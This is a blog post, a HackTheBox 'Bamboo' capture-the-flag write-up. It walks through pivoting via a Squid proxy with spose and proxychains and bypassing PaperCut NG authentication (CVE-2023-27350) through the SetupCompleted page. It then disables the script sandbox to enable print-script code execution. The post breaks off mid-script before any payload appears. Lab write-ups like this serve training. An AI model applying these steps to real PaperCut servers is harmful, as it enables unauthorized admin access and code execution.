DEV Community

Cover image for HackTheBox: Bamboo Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox: Bamboo Writeup

#cybersecurity #infosec #security #tutorial

Summary

Bamboo is a Hackthebox machine that chains together a Squid proxy pivot, an authentication bypass in PaperCut NG (CVE-2023-27350), and a PATH hijack privilege escalation to reach root. The exposed Squid proxy on port 3128 acts as a gateway into internal services. Using the proxy to reach PaperCut NG on port 9191, an attacker abuses the SetupCompleted authentication bypass to gain admin access without credentials. From there, PaperCut's built-in scripting engine is weaponized to obtain a reverse shell. On the box, the PaperCut server binary directory sits in the system PATH and is writable by the papercut user. A root-owned process periodically invokes a script from that directory — replacing it with a malicious payload drops a SUID bit on /bin/bash and hands over root.

Reconnaissance

Port Scan 

nmap -sC -sV -A <MACHINE-IP> -oA nmap
Enter fullscreen mode Exit fullscreen mode

Open ports:

Port Service Version
22 SSH OpenSSH 8.9p1 (Ubuntu)
3128 HTTP Proxy Squid 5.9

No direct web application was exposed. Port 3128 is a Squid HTTP proxy — browsing to it directly returns an error. This means there are likely internal services only reachable through the proxy.

Pivoting Through the Squid Proxy

Discovering Internal Services with spose

spose is a port scanner that works through Squid proxies.

git clone https://github.com/aancw/spose
cd spose
python3 spose.py --proxy http://<MACHINE-IP>:3128 --target localhost --allports
Enter fullscreen mode Exit fullscreen mode

Results:

localhost:22 seems OPEN
localhost:9191 seems OPEN
localhost:9192 seems OPEN
localhost:9195 seems OPEN
Enter fullscreen mode Exit fullscreen mode

Port 9191 is the default PaperCut NG application port.

Configuring ProxyChains

Add the following line to /etc/proxychains4.conf:

http <MACHINE-IP> 3128
Enter fullscreen mode Exit fullscreen mode

Verify the internal service is reachable:

proxychains curl http://127.0.0.1:9191 -v
Enter fullscreen mode Exit fullscreen mode

Output (truncated):

[proxychains] Dynamic chain  ...  <MACHINE-IP>:3128  ...  127.0.0.1:9191  ...  OK
< HTTP/1.1 302 Found
< Location: http://127.0.0.1:9191/user
Enter fullscreen mode Exit fullscreen mode

The redirect confirms a web application is running at /user.

Configuring Burp Suite as Upstream Proxy

To browse via the browser through the Squid proxy:

  1. Open Burp Suite → Settings → Network → Connections
  2. Under Upstream proxy servers, click Add
  3. Set:
    • Destination host: *
    • Proxy host: <MACHINE-IP>
    • Proxy port: 3128
  4. Configure Firefox to use Burp as proxy (127.0.0.1:8080)

Now browsing to http://127.0.0.1:9191/user in the browser loads:

PaperCut NG 22.0 login page.

Initial Access

CVE-2023-27350 — PaperCut NG Authentication Bypass

PaperCut NG 22.0 is vulnerable to an authentication bypass via the SetupCompleted Java class. The setup completion page contains a Login button that submits an HTTP request granting a valid admin session without checking credentials. This is CVE-2023-27350 (CVSS 9.8).

Reference blog: https://community.hpe.com/t5/hpe-threat-labs/cve-2023-27350-papercut-ng-and-mf-remote-code-execution/ba-p/7266278

Step 1 — Access the setup completion page:

http://127.0.0.1:9191/app?service=page/SetupCompleted
Enter fullscreen mode Exit fullscreen mode

Click Login. The application redirects to the admin Dashboard at:

http://127.0.0.1:9191/app?service=page/Dashboard
Enter fullscreen mode Exit fullscreen mode

No credentials needed — we are now authenticated as admin.

Enabling Scripting (Pre-RCE Step)

Navigate to Options → Config Editor and search for script. Two values must be changed:

Key Old Value New Value
print-and-device.script.enabled N Y
print.script.sandboxed Y N

Click Update on each. The page confirms "Successfully updated key value."

Remote Code Execution via Print Scripting

Step 1 - Find the printer:

Navigate to Printers → Printer List. There is one printer: [Template printer]. Click it, then go to the Scripting tab.

Step 2 - Test RCE with a ping:

Check the Enable print script checkbox and replace the default script with:

function printJobHook(inputs, actions